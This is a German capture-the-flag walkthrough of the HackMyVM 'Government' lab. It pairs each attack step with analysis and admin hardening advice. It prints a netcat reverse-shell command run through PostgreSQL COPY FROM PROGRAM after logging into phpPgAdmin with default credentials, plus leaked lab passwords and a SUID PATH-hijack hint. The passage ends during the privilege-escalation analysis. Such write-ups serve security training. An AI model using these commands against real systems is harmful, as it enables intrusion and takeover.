Government - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
gobuster
lftp
wget
cat
ffuf
psql (via phppgadmin)
nc (netcat)
su
find
strings
echo
chmod
export

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.136	08:00:27:96:95:9d	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` sendet ARP-Requests ins lokale Netzwerk, um aktive Hosts zu identifizieren. Er listet die IP-Adresse, MAC-Adresse und den Hersteller der Netzwerkkarte auf.

Bewertung: Wir haben die IP-Adresse des Ziels (192.168.2.136) erfolgreich identifiziert. Der Hersteller "PCS Systemtechnik GmbH" deutet stark auf eine VirtualBox-Umgebung hin, was für die Testszenarien typisch ist. Dies ist der erste Schritt, um das Ziel im Netzwerk zu lokalisieren.

Empfehlung (Pentester): Die IP 192.168.2.136 als Ziel für weitere Scans verwenden, insbesondere Port-Scanning mit Nmap.
Empfehlung (Admin): Sicherstellen, dass nur erwartete Geräte im Netzwerk aktiv sind. Netzwerksegmentierung kann die Sichtbarkeit von Geräten einschränken.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.136 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-11 10:31 CEST
Nmap scan report for government (192.168.2.136)
Host is up (0.00018s latency).
Not shown: 65524 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ffff:192.168.2.140
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 0        0            4096 Sep 01  2021 files
| drwxr-xr-x    2 0        0            4096 Aug 31  2021 government
|_drwxr-xr-x    2 0        0            4096 Nov 14  2021 news
22/tcp    open  ssh         OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 0b:95:9a:37:ae:d8:b0:c0:23:78:eb:04:c2:9b:6c:41 (RSA)
|   256 d4:a1:3b:a7:cc:e2:ea:ee:2e:6b:91:36:f9:be:da:6f (ECDSA)
|_  256 22:9f:42:60:3d:56:20:15:3a:ff:7c:19:0d:20:ca:7a (ED25519)
80/tcp    open  http        Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 2 disallowed entries 
|_/login.php /admin
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100003  3,4         2049/udp   nfs
|   100003  3,4         2049/udp6  nfs
|   100005  1,2,3      35155/tcp   mountd
|   100005  1,2,3      50024/udp6  mountd
|   100005  1,2,3      56593/udp   mountd
|   100005  1,2,3      57989/tcp6  mountd
|   100021  1,3,4      37115/udp   nlockmgr
|   100021  1,3,4      41987/tcp   nlockmgr
|   100021  1,3,4      43019/tcp6  nlockmgr
|   100021  1,3,4      54439/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl     3 (RPC #100227)
33765/tcp open  mountd      1-3 (RPC #100005)
35155/tcp open  mountd      1-3 (RPC #100005)
36743/tcp open  mountd      1-3 (RPC #100005)
41987/tcp open  nlockmgr    1-4 (RPC #100021)
MAC Address: 08:00:27:96:95:9D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.5.16-Debian)
|   Computer name: government
|   NetBIOS computer name: GOVERNMENT\x00
|   Domain name: \x00
|   FQDN: government
|_  System time: 2022-10-11T10:31:59+02:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: GOVERNMENT, NetBIOS user: , NetBIOS MAC:  (unknown)
| smb2-time: 
|   date: 2022-10-11T08:32:00
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_clock-skew: mean: -39m57s, deviation: 1h09m17s, median: 1s

TRACEROUTE
HOP RTT     ADDRESS
1   0.18 ms government (192.168.2.136)

Analyse: Ein umfassender Nmap-Scan wird durchgeführt (`-sS` SYN-Scan, `-sC` Standardskripte, `-T5` schnelles Timing, `-sV` Versionserkennung, `-A` Aggressive Optionen, `-p-` alle Ports).

Bewertung: Der Scan enthüllt eine große Anzahl offener Ports und Dienste, was auf eine erhebliche Angriffsfläche hindeutet: * **Port 21 (FTP - vsftpd 3.0.3):** Anonymer Login ist erlaubt! Dies ist ein kritischer Fund, da er sofortigen Dateisystemzugriff ermöglicht. Drei Verzeichnisse (`files`, `government`, `news`) sind sichtbar. * **Port 22 (SSH - OpenSSH 7.4p1):** Standard-SSH-Dienst, relevant für späteren Zugriff oder Brute-Force. * **Port 80 (HTTP - Apache 2.4.25):** Webserver. Die `robots.txt` verbietet den Zugriff auf `/login.php` und `/admin`, was interessante Pfade sind. * **Port 111 (RPCBind) & Port 2049 (NFS):** Ein Network File System (NFS)-Dienst läuft. Dies ist ein weiterer wichtiger Vektor für Dateisystemzugriff, falls Shares exportiert werden. Die Ports für `mountd` und `nlockmgr` bestätigen dies. * **Port 139 & 445 (SMB - Samba 4.5.16):** Samba-Dienst für Windows-Dateifreigaben. Die Sicherheitseinstellungen (`message_signing: disabled`) sind als gefährlich markiert. Die vielen offenen RPC-Dienste (mountd, nlockmgr) und die Kombination aus FTP, NFS und SMB bieten zahlreiche potenzielle Angriffspunkte.

Empfehlung (Pentester): 1. **FTP (höchste Priorität):** Sofort anonym auf den FTP-Server verbinden und die Verzeichnisse `files`, `government`, `news` vollständig herunterladen und untersuchen. 2. **NFS:** Mit `showmount -e 192.168.2.136` prüfen, welche Verzeichnisse exportiert werden und versuchen, diese zu mounten. 3. **Web:** Die in `robots.txt` genannten Pfade (`/login.php`, `/admin`) und die mit Gobuster/ffuf gefundenen Pfade genauer untersuchen. 4. **SMB:** Mit `smbclient -L 192.168.2.136` Shares auflisten und versuchen, mit Gastzugang oder bekannten Credentials darauf zuzugreifen.
Empfehlung (Admin): 1. **FTP:** Anonymen FTP-Zugriff deaktivieren, es sei denn, er ist absolut notwendig und die freigegebenen Daten sind unkritisch. vsftpd aktualisieren. 2. **NFS:** NFS nur verwenden, wenn nötig. Exporte auf bestimmte IP-Adressen beschränken und `no_root_squash` vermeiden. 3. **Web:** Zugriff auf administrative Pfade einschränken (IP-Filter, Authentifizierung). Apache aktualisieren. 4. **SMB:** Message Signing erzwingen (`message_signing = required` in `smb.conf`). Gastzugriff deaktivieren. Samba aktualisieren. 5. Generell: Nicht benötigte Dienste (RPCBind, NFS, SMB, FTP) deaktivieren und Firewall-Regeln verschärfen, um nur notwendige Ports freizugeben.

Web Enumeration

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.136 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,bak,7z,zip,py,sql,txt,xml,jpg,html -e --wildcard
http://192.168.2.136/index.html           (Status: 200) [Size: 43]
http://192.168.2.136/blog                 (Status: 301) [Size: 313] [--> http://192.168.2.136/blog/]
http://192.168.2.136/javascript           (Status: 301) [Size: 319] [--> http://192.168.2.136/javascript/]
http://192.168.2.136/robots.txt           (Status: 200) [Size: 52]

Analyse: `gobuster dir` wird verwendet, um nach Verzeichnissen und Dateien auf dem Webserver zu suchen. `-x` fügt spezifische Dateiendungen hinzu, `-e` zeigt vollständige URLs, und `--wildcard` wird verwendet, falls der Server für nicht existierende Seiten keine 404-Fehler liefert (obwohl Nmap bereits eine `robots.txt` gefunden hat, was dagegen spricht).

Bewertung: Gobuster findet die Startseite (`index.html`), die bereits bekannte `robots.txt` sowie die Verzeichnisse `/blog` und `/javascript`. Diese Verzeichnisse sollten genauer untersucht werden. Die in `robots.txt` genannten Pfade `/login.php` und `/admin` wurden hier nicht gefunden, was darauf hindeutet, dass sie entweder nicht existieren oder die verwendete Wortliste sie nicht enthält.

Empfehlung (Pentester): Die gefundenen Verzeichnisse `/blog` und `/javascript` im Browser aufrufen und auf interessante Inhalte oder Funktionalitäten prüfen. Erneute Scans mit anderen Wortlisten (z.B. spezifisch für PHP-Dateien oder Admin-Pfade) könnten `/login.php` oder `/admin` aufdecken. Der Fokus sollte aber vorerst auf dem vielversprechenderen FTP-Zugang liegen.
Empfehlung (Admin): Sicherstellen, dass keine sensiblen Informationen in Verzeichnissen wie `/blog` oder `/javascript` liegen. Zugriffskontrollen für administrative Bereiche wie `/admin` oder `/login.php` implementieren.

User-agent: *
Disallow: /login.php
Disallow: /admin

Analyse: Dies zeigt den Inhalt der `robots.txt`-Datei, die Suchmaschinen anweist, bestimmte Pfade nicht zu indizieren.

Bewertung: Die Datei verbietet das Crawlen von `/login.php` und `/admin`. Für einen Pentester sind dies jedoch *Hinweise* auf potenziell interessante Bereiche, die manuell untersucht werden sollten.

Empfehlung (Pentester): Versuchen, `http://192.168.2.136/login.php` und `http://192.168.2.136/admin` direkt im Browser aufzurufen oder mit Tools wie `curl` zu untersuchen.
Empfehlung (Admin): `robots.txt` ist kein Sicherheitsmechanismus. Administrative Bereiche müssen durch echte Zugriffskontrollen (Authentifizierung, Autorisierung, IP-Beschränkungen) geschützt werden.

Initial Access

┌──(root㉿cyber)-[~] └─# lftp -u anonymous, 192.168.2.136
lftp anonymous@192.168.2.136:~> ls
drwxr-xr-x    2 0        0            4096 Sep 01  2021 files
drwxr-xr-x    2 0        0            4096 Aug 31  2021 government
drwxr-xr-x    2 0        0            4096 Nov 14  2021 news

Analyse: Mit dem Kommandozeilen-FTP-Client `lftp` wird eine anonyme Verbindung zum FTP-Server auf 192.168.2.136 hergestellt (`-u anonymous,`). Der Befehl `ls` listet die Verzeichnisse im Stammverzeichnis des FTP-Servers auf.

Bewertung: Der anonyme Zugriff funktioniert wie von Nmap vorhergesagt. Die Verzeichnisse `files`, `government` und `news` sind sichtbar und wahrscheinlich der nächste Schritt zur Informationsgewinnung.

Empfehlung (Pentester): Den Inhalt dieser Verzeichnisse rekursiv herunterladen und untersuchen. Der Befehl `wget -m ftp://anonymous@192.168.2.136/` oder `lftp`'s `mirror`-Befehl eignen sich dafür.
Empfehlung (Admin): Anonymen FTP-Zugriff deaktivieren oder stark einschränken und sicherstellen, dass keine sensiblen Daten darüber zugänglich sind.

┌──(root㉿cyber)-[~] └─# wget -m ftp://192.168.2.136
--2022-10-11 10:35:39--  ftp://192.168.2.136/
           => »192.168.2.136/.listing«
Verbindungsaufbau zu 192.168.2.136:21 … verbunden.
Anmelden als anonymous … Angemeldet!
> SYST ... fertig.    > PWD ... fertig.
> TYPE I ... fertig.  > CWD nicht notwendig.
> PASV ... fertig.    > LIST ... fertig.
[... Download der Verzeichnisse ...]

Analyse: Der Befehl `wget -m ftp://192.168.2.136` wird verwendet, um den gesamten Inhalt des anonymen FTP-Servers rekursiv herunterzuladen (`-m` steht für mirror).

Bewertung: Der Download war erfolgreich. Alle Dateien aus den Verzeichnissen `files`, `government` und `news` sind nun lokal auf dem Angreifer-System verfügbar und können analysiert werden.

Empfehlung (Pentester): Die heruntergeladenen Dateien, insbesondere im Verzeichnis `files`, gründlich untersuchen.
Empfehlung (Admin): Siehe vorherige Empfehlung bezüglich anonymem FTP.

┌──(root㉿cyber)-[~] └─# cd 192.168.2.136/files
┌──(root㉿cyber)-[~/192.168.2.136/files] └─# ll
insgesamt 12
-rw-r--r-- 1 root root 179 31. Aug 2021  encrypt.txt
-rw-r--r-- 1 root root 217 31. Aug 2021  old.txt
-rw-r--r-- 1 root root 158 31. Aug 2021  remove.txt

Analyse: Der Pentester wechselt in das lokal heruntergeladene Verzeichnis `192.168.2.136/files` und listet dessen Inhalt mit `ll` (Alias für `ls -l`) auf.

Bewertung: Drei Textdateien (`encrypt.txt`, `old.txt`, `remove.txt`) wurden gefunden. Diese scheinen relevant zu sein und müssen untersucht werden.

Empfehlung (Pentester): Den Inhalt der drei Dateien mit `cat *.txt` oder einzeln anzeigen.
Empfehlung (Admin): Keine sensiblen oder informativen Dateien auf öffentlich zugänglichen FTP-Servern ablegen.

┌──(root㉿cyber)-[~/192.168.2.136/files] └─# cat *.txt
//Attention: 

-- Password are encrypted in MD5 -- 

Change the encryption with (Blowfish or Tryple DES)

//After this operation , delete this file.


- Government Policy & Rules
//Old password removed - 

7c8e2414a014851ef13527070ce37ede

b20a6dc6c921e4d2fb49bda509b77c46

36c0ae2711103178a07506f0f6f18c66

480a808105b6fff3f0a57a4a4e74cb7d

//Please remove this file

-Government Policy & Rules
//Remove this old employee from database

#emma 
#christian
#luds
#malic
#susan

//After removing this user - Remove this file


- Governament Policy & Rules

Analyse: Der Befehl `cat *.txt` gibt den Inhalt aller drei `.txt`-Dateien (`encrypt.txt`, `old.txt`, `remove.txt`) hintereinander aus.

Bewertung: Dies ist ein Goldfund! Die Dateien enthalten wichtige Informationen: * **Passwörter:** Es gibt einen Hinweis, dass Passwörter als MD5 gespeichert sind, und es werden vier MD5-Hashes aufgelistet (`7c8e...`, `b20a...`, `36c0...`, `480a...`). Diese müssen versucht werden zu knacken. * **Benutzernamen:** Es wird eine Liste von (vermutlich ehemaligen) Mitarbeiternamen genannt: `emma`, `christian`, `luds`, `malic`, `susan`. Diese könnten als Benutzernamen für SSH, Web-Login oder andere Dienste relevant sein. * **Kontext:** Die Kommentare deuten auf interne Prozesse und Richtlinien hin ("Government Policy & Rules") und dass diese Dateien eigentlich hätten gelöscht werden sollen. Die Kombination aus Benutzernamen und Passwort-Hashes ist ein klarer Weg zum initialen Zugriff.

Empfehlung (Pentester): 1. Versuchen, die MD5-Hashes mit Online-Crackern (z.B. Crackstation) oder Offline-Tools (Hashcat, John the Ripper) zu knacken. 2. Die Benutzernamen (`emma`, `christian`, `luds`, `malic`, `susan`) in Kombination mit den geknackten Passwörtern oder Standardpasswörtern gegen SSH (Port 22) und den Web-Login (`/login.php`) testen.
Empfehlung (Admin): Solche Dateien dürfen niemals auf einem FTP-Server landen, schon gar nicht mit anonymem Zugriff. Interne Prozesse zur Datenlöschung müssen sicherstellen, dass sensible Informationen tatsächlich entfernt werden. Passwörter sollten niemals als MD5 gespeichert werden (verwenden Sie moderne, gesalzene Hashing-Algorithmen wie bcrypt oder Argon2). Benutzerkonten ehemaliger Mitarbeiter sollten umgehend deaktiviert oder gelöscht werden.

┌──(root㉿cyber)-[~/192.168.2.136/files] └─# ffuf -ic -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -u 'http://gov.hmv/FUZZ' -e .html,.txt,.php -of html -o dir-raft.html
 
blog                    [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 0ms]
javascript              [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 0ms]
index.html              [Status: 200, Size: 43, Words: 6, Lines: 3, Duration: 0ms]
robots.txt              [Status: 200, Size: 52, Words: 4, Lines: 4, Duration: 0ms]
server-status           [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 0ms]
                        [Status: 200, Size: 43, Words: 6, Lines: 3, Duration: 0ms]
.html                   [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 0ms]
.php                    [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 0ms]
                        [Status: 200, Size: 43, Words: 6, Lines: 3, Duration: 0ms]
.php                    [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 0ms]
.html                   [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 1ms]
index.html              [Status: 200, Size: 43, Words: 6, Lines: 3, Duration: 5ms]
phppgadmin              [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 2ms]
.html                   [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 1ms]
.php                    [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 3ms]
                        [Status: 200, Size: 43, Words: 6, Lines: 3, Duration: 6ms]
:: Progress: [249136/249136]  Job [1/1]  5800 req/sec  Duration: [0:00:18]  Errors: 12 ::

Analyse: `ffuf` wird für weiteres Directory/File-Fuzzing eingesetzt. * `-ic`: Ignoriert Kommentare in der Wortliste. * `-c`: Farbige Ausgabe. * `-w ...raft-large-directories.txt`: Verwendet eine große Wortliste. * `-u 'http://gov.hmv/FUZZ'`: Fuzzt auf dem Hostnamen `gov.hmv` (dieser muss vorher in `/etc/hosts` eingetragen worden sein, ähnlich wie im vorherigen Report). `FUZZ` ist der Platzhalter. * `-e .html,.txt,.php`: Fügt diese Endungen hinzu. * `-of html -o dir-raft.html`: Speichert die Ausgabe im HTML-Format.

Bewertung: Neben den bereits mit Gobuster gefundenen Pfaden (`blog`, `javascript`, `index.html`, `robots.txt`) entdeckt `ffuf` einen sehr interessanten Pfad: `/phppgadmin`. phpPgAdmin ist eine webbasierte Administrationskonsole für PostgreSQL-Datenbanken. Dies ist ein potenziell kritischer Fund, da Fehlkonfigurationen oder Standard-Logins oft den Zugriff auf die Datenbank ermöglichen.

Empfehlung (Pentester): Sofort `http://gov.hmv/phppgadmin/` im Browser aufrufen. Versuchen, sich mit Standard-Credentials für PostgreSQL (`postgres:postgres`, `postgres:password`, `postgres:admin` etc.) anzumelden. Wenn Zugangsdaten aus den FTP-Dateien geknackt wurden, diese ebenfalls testen.
Empfehlung (Admin): Webbasierte Datenbank-Admin-Tools wie phpPgAdmin sollten niemals öffentlich zugänglich sein. Der Zugriff muss stark eingeschränkt werden (z.B. nur über VPN, IP-Whitelisting, starke Authentifizierung). Standardpasswörter müssen unbedingt geändert werden.

vulnerabel: http://192.168.2.136/phppgadmin/
exploit:    https://www.exploit-db.com/exploits/49736

linke Seite link 
-------------------------------
name:postgres
pass:admin

datenbank:

Spalte 	Datentyp                                         	 
arianna  [pk] 	 arianna1	f7a3182518d6c18548d39b87450970af 
elisa    [pk] 	 elisa35 	ac9deed070d7eeb6a15abd909c751f79
lukas    [pk]  	 lukas123    c938489ddb8330955c187d62e032bb43
mike     [pk] 	 nevergiveup1	b3acafa9035c7793982b9dafcf8714ae
raphael  pk] 	 raphael777	09db36a8dce311355d6755c8c99a5dc1

dann rechts oben in der Leiste auf SQL klicken und Befehl ausführen:

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'nc -e /bin/bash 192.168.2.117 9001';
SELECT * FROM cmd_exec;

Analyse: Dieser Abschnitt beschreibt den Zugriff auf phpPgAdmin und die Ausnutzung einer Schwachstelle oder Funktion zur Codeausführung. 1. Die URL `/phppgadmin/` wird als verwundbar identifiziert. Ein Exploit-DB-Link wird genannt, aber der tatsächliche Zugriff scheint über Standard-Credentials zu erfolgen. 2. Es wird sich erfolgreich mit dem Benutzernamen `postgres` und dem Passwort `admin` bei der PostgreSQL-Datenbank angemeldet. 3. Innerhalb von phpPgAdmin wird eine Tabelle (vermutlich `users` oder ähnlich) gefunden, die Benutzernamen und weitere Passwort-Hashes enthält (arianna, elisa, lukas, mike, raphael). Diese könnten relevant sein, werden aber hier nicht direkt weiterverwendet. 4. Die entscheidende Aktion ist die Ausführung von SQL-Befehlen. PostgreSQL erlaubt es unter bestimmten Umständen (als Superuser wie `postgres`), Betriebssystembefehle über `COPY ... FROM PROGRAM` auszuführen. 5. Es wird eine temporäre Tabelle `cmd_exec` erstellt. 6. Der Befehl `COPY cmd_exec FROM PROGRAM 'nc -e /bin/bash 192.168.2.117 9001';` wird ausgeführt. Dies weist PostgreSQL an, das Programm `/bin/nc` (netcat) zu starten, welches wiederum eine Bash-Shell (`-e /bin/bash`) startet und diese mit einem TCP-Listener auf dem Angreifer-System (192.168.2.117, Port 9001) verbindet. Dies ist eine Reverse Shell. 7. `SELECT * FROM cmd_exec;` wird ausgeführt, um die Ausgabe des Befehls abzurufen (was bei einer Reverse Shell meist leer ist oder eine Fehlermeldung gibt, während die Shell im Hintergrund läuft).

Bewertung: Dies ist der erfolgreiche Weg zum initialen Zugriff! Die Kombination aus einem öffentlich zugänglichen phpPgAdmin-Interface und schwachen Standard-Credentials (`postgres:admin`) ermöglichte die Ausführung von Betriebssystembefehlen als der Datenbankbenutzer `postgres`. Die `COPY FROM PROGRAM`-Funktion ist ein bekannter Weg zur Codeausführung in PostgreSQL, wenn man über ausreichende Rechte verfügt.

Empfehlung (Pentester): Auf dem Angreifer-System (192.168.2.117) muss ein Netcat-Listener auf Port 9001 gestartet werden (`nc -lvnp 9001`), *bevor* der SQL-Befehl ausgeführt wird, um die eingehende Reverse Shell zu empfangen. Die neuen Passwort-Hashes aus der Datenbank könnten für andere Benutzer nützlich sein, falls der `postgres`-Zugriff eingeschränkt ist.
Empfehlung (Admin): Sofort den Zugriff auf phpPgAdmin absichern (siehe vorherige Empfehlung). Das Standardpasswort für den `postgres`-Benutzer ändern! Die Berechtigungen des `postgres`-Benutzers überprüfen und einschränken, insbesondere die Fähigkeit, `COPY ... FROM PROGRAM` auszuführen (dies erfordert normalerweise Superuser-Rechte). PostgreSQL und phpPgAdmin auf aktuelle Versionen patchen.

┌──(root㉿cyber)-[~/192.168.2.136/files] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.136] 55954

Analyse: Auf dem Angreifer-System wird der Netcat-Listener gestartet. Kurz darauf kommt eine Verbindung vom Zielsystem (192.168.2.136) herein. Die angezeigte Quell-IP des Angreifers (192.168.2.140) weicht von der im SQL-Befehl (192.168.2.117) ab - dies ist wahrscheinlich ein Tippfehler im Bericht.

Bewertung: Die Reverse Shell wurde erfolgreich aufgebaut! Der Angreifer hat nun eine Shell auf dem Zielsystem, die mit den Rechten des `postgres`-Benutzers läuft.

Empfehlung (Pentester): Die erhaltene Shell stabilisieren (z.B. mit Python PTY-Trick), `whoami` und `id` ausführen, um die Benutzerrechte zu bestätigen, und mit der lokalen Enumeration für die Privilege Escalation beginnen.
Empfehlung (Admin): Untersuchen, wie die Codeausführung möglich war (phpPgAdmin, schwaches Passwort, `COPY FROM PROGRAM`). Die Lücke schließen. System auf Anzeichen weiterer Kompromittierung überprüfen.

Privilege Escalation

postgres@government: cd /var/log
postgres@government:/var/log$ cat .creds.log
WARNING

//This file contain sensitive informations!!


/////////////////////////////////////////////////////////////
244fff13bf3c5f471e0e6bf7900945936cf1354dfea15130
////////////////////////////////////////////////////////////
key: Tr770f1NdMy1mP0sSibl3P4sSw0rD,7iK3Th4t!
////////////////////////////////////////////////////////////
IV: 5721370743022037
////////////////////////////////////////////////////////////


#WARNING#

cyberchief Decrypt:
h4cK1sMyf4v0ri73G4m3

Analyse: In der Reverse Shell als `postgres`-Benutzer wird in das Verzeichnis `/var/log` gewechselt und eine versteckte Datei namens `.creds.log` gefunden und ausgelesen.

Bewertung: Ein weiterer kritischer Fund! Diese Log-Datei enthält extrem sensible Informationen: * Einen langen hexadezimalen String (möglicherweise ein verschlüsseltes Passwort oder Daten). * Einen Klartext-Schlüssel (`key: Tr770f...`). * Einen Initialisierungsvektor (`IV: 5721...`). * Einen Hinweis `cyberchief Decrypt:` gefolgt von einem Klartext-String: `h4cK1sMyf4v0ri73G4m3`. Es scheint, als sei der String `h4cK1sMyf4v0ri73G4m3` das Ergebnis der Entschlüsselung der Hex-Zeichenkette mit dem gegebenen Schlüssel und IV, oder es handelt sich um ein separates, wichtiges Passwort. Die Bezeichnung "cyberchief" könnte auf einen Benutzer oder eine Rolle hindeuten.

Empfehlung (Pentester): Der String `h4cK1sMyf4v0ri73G4m3` sollte als potenzielles Passwort für privilegierte Benutzer (z.B. `root` oder andere im System gefundene Benutzer wie `erik`) getestet werden. Der Befehl `su` oder `sudo` könnte hier nützlich sein. Die anderen Informationen (Hex-String, Key, IV) könnten für die Entschlüsselung weiterer Daten relevant sein.
Empfehlung (Admin): Sensible Daten wie Schlüssel, IVs oder Passwörter dürfen NIEMALS in Klartext-Logdateien gespeichert werden, schon gar nicht in allgemein lesbaren Verzeichnissen wie `/var/log`. Die Berechtigungen für Log-Dateien sollten restriktiv sein. Die Quelle dieser Log-Datei muss gefunden und der Prozess, der sie erstellt, korrigiert werden.

postgres@government:/var/log$ su -l erik
Password: [Passwort hier eingegeben: h4cK1sMyf4v0ri73G4m3]
erik@government:~$

Analyse: Der Befehl `su -l erik` wird ausgeführt, um zum Benutzerkonto `erik` zu wechseln (`-l` simuliert einen vollständigen Login). Das zuvor in `.creds.log` gefundene Passwort `h4cK1sMyf4v0ri73G4m3` wird eingegeben.

Bewertung: Der Wechsel war erfolgreich! Der Angreifer hat nun eine Shell als Benutzer `erik`. Dies ist ein wichtiger Schritt in der Privilege Escalation, da `erik` möglicherweise mehr Rechte oder Zugriff auf andere Mechanismen hat als `postgres`.

Empfehlung (Pentester): Nun als `erik` weiter enumerieren: `sudo -l` prüfen, Home-Verzeichnis untersuchen, SUID/GUID-Dateien suchen, Cronjobs prüfen etc.
Empfehlung (Admin): Das Passwort für den Benutzer `erik` sofort ändern. Überprüfen, warum `postgres` `su` zu `erik` ausführen konnte und ob dies beabsichtigt ist. Sicherstellen, dass Passwörter nicht wiederverwendet oder an unsicheren Orten gespeichert werden.

erik@government:~$ find / -perm -u=s 2>/dev/null
/bin/umount
/bin/ping
/bin/mount
/bin/su
/sbin/mount.nfs
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/home/erik/backups/nuclear/remove

Analyse: Der Befehl `find / -perm -u=s 2>/dev/null` sucht im gesamten Dateisystem (`/`) nach Dateien, bei denen das SUID-Bit gesetzt ist (`-perm -u=s`). Das SUID-Bit bewirkt, dass das Programm immer mit den Rechten des Dateieigentümers ausgeführt wird, unabhängig davon, wer es startet. Fehler (`stderr`) werden nach `/dev/null` umgeleitet, um die Ausgabe sauber zu halten.

Bewertung: Neben vielen Standard-SUID-Binaries (wie `su`, `sudo`, `passwd`) wird eine ungewöhnliche Datei gefunden: `/home/erik/backups/nuclear/remove`. Eine SUID-Datei im Home-Verzeichnis eines Benutzers ist höchst verdächtig und oft ein Hinweis auf eine Fehlkonfiguration oder einen absichtlich platzierten Vektor für Privilege Escalation. Da die Datei `erik` gehört (oder root, aber in `erik`s Verzeichnis liegt) und SUID gesetzt ist (wahrscheinlich auf root), ist dies ein primäres Ziel für die weitere Untersuchung.

Empfehlung (Pentester): Die Datei `/home/erik/backups/nuclear/remove` genau untersuchen: * Dateityp prüfen (`file /home/erik/backups/nuclear/remove`). * Mit `strings` nach interessanten Zeichenketten suchen. * Versuchen, sie auszuführen und das Verhalten beobachten. * Wenn möglich, dekompilieren oder mit Debuggern (wie `gdb`, `strace`, `ltrace`) analysieren.
Empfehlung (Admin): Überprüfen, warum die Datei `/home/erik/backups/nuclear/remove` SUID-Rechte hat. Wenn dies nicht absolut notwendig ist, das SUID-Bit entfernen (`chmod u-s /home/erik/backups/nuclear/remove`). Generell sollten SUID-Binaries auf ein Minimum beschränkt und regelmäßig überprüft werden.

erik@government:~$ strings /home/erik/backups/nuclear/remove
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
memset
strcat
system
__cxa_finalize
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
=q	 
5j	 
=!	 
time ./ <<<<-----------<<< exploit it >>>><<<<<<<

Analyse: Der Befehl `strings` wird auf die verdächtige SUID-Datei angewendet, um lesbare Zeichenketten aus der Binärdatei zu extrahieren.

Bewertung: Die Ausgabe zeigt neben Standard-Bibliotheksfunktionen und Symbolen eine sehr interessante Zeile: `time ./ <<<<-----------<<< exploit it >>>><<<<<<<<`. Dies deutet stark darauf hin, dass das Programm `remove` intern den Befehl `time` ohne Angabe eines vollständigen Pfades aufruft (nur `time` statt `/usr/bin/time`). Der Kommentar "exploit it" ist ein direkter Hinweis.

